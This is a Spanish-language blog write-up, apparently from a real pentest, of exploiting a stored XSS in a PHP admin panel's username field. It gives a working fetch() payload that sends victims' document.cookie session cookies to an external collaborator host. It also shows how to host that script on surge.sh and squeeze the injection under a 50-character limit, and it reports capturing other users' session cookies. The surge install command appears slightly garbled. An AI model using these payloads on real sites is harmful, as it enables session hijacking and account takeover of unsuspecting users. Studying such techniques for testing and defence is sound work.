Host & Short your XSS payload with Surge
Everything should be made as simple as possible, but not simpler
En este caso vamos a analizar un escenario real, dónde podremos ver como hostear un payload XSS con surge y de paso evadir el control de caracteres en un input.
Al ser un escenario real, muchos de los datos que identificarían al target, van a ser censurados o cambiados. La intención de la entrada del blog es siempre con fines educativos y compartir conocimiento :)
Análisis — Finding a hole
La web en este caso es simplemente de administración. Cada cuál tiene su usuario correspondiente, pero además ofrece la modificación de datos de usuario, como por ejemplo el nombre de este.
Lo primero que se intentó, es un simple stored XSS con la función alert():
<script>alert(‘Test XSS’)</script>
Y como podemos ver, efectivamente se ejecuta! 😎
Ahora queda escalarlo, de nada nos sirve solamente un alert(). El nombre de nuestro usuario, puede verse en distintas partes de la aplicación, desde otros usuarios o incluso el admin en el panel de administración de usuarios. Por lo tanto, una buena idea podría ser un CSRF para ejecutar acciones dentro de la plataforma (en caso de que exista la vulnerabilidad) o un script malicioso que envíe información sensible a un servidor controlado por nosotros.
Esta web fue diseñada en PHP, la autenticación es manejada mediante la cookie PHPSESSID, entonces podría ser posible un script que ejecute simplemente un fetch a nuestro servidor con esta cookie dentro de la solicitud:
fetch('https://[random].oastify.com', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
De esta forma, cada persona que “vea” el nombre de usuario, por detrás se ejecutará un script que envíe la cookie de sesión. Solo existía una complicación extra, el campo estaba limitado únicamente a 50 caracteres.
Una forma de evadir este control podría ser capturar el request con Burp Suite y modificarlo antes de enviarlo al backend. Muchas veces el control de cantidad de caracteres se encuentra en el frontend del lado del cliente, sin embargo, este no era el caso ya que también lo validaba del lado del servidor.
Surge — Our hero
La solución ahora parecería ser la de hostear nuestro payload de forma externa para luego llamarlo mediante el parámetro source:
<script src=https://[server].com/payload.js></script>
Ahí entra en juego la herramienta surge.sh, comúnmente conocida por desarrolladores para hostear páginas estáticas y testearlas. No solamente es gratis y muy sencillo, sino que además ofrece HTTPS.
Teniendo Node instalado en nuestra PC, se instala con el siguiente comando:
node install –global surge
Luego, mediante la terminal, nos posicionamos en la carpeta donde se encuentran nuestros payloads y ejecutamos el comando “surge”. Con el fin de acortar todo lo posible los caracteres, nuestros payloads son 1.js y 2.js. A su vez, cuando nos pregunte el nombre del dominio del estilo [nombre].surge.sh, tratar de conseguir un nombre lo más corto posible que nos permita.
Explotación — Set… Go!
Finalmente, nuestro payload a llamar de forma externa sería el siguiente:
<script src=https://loki.com/2.js></script>
Bastante más corto, pero siguen siendo 43 caracteres, sin embargo, podemos reescribirlo de la siguiente forma para recortarlo aún más y evitar espacios, logrando 33 caracteres:
<script/src=//loki.surge.sh/2.js>
Ahora solo nos queda modificar el nombre de usuario añadiendo nuestro payload XSS y esperar a las solicitudes en nuestro collaborator:
Y como vemos, nos llegan las cookies de autorización de otros usuarios. L00ted :D
>>>print(“h4ppy_h4ck1ng”)
>>>exit()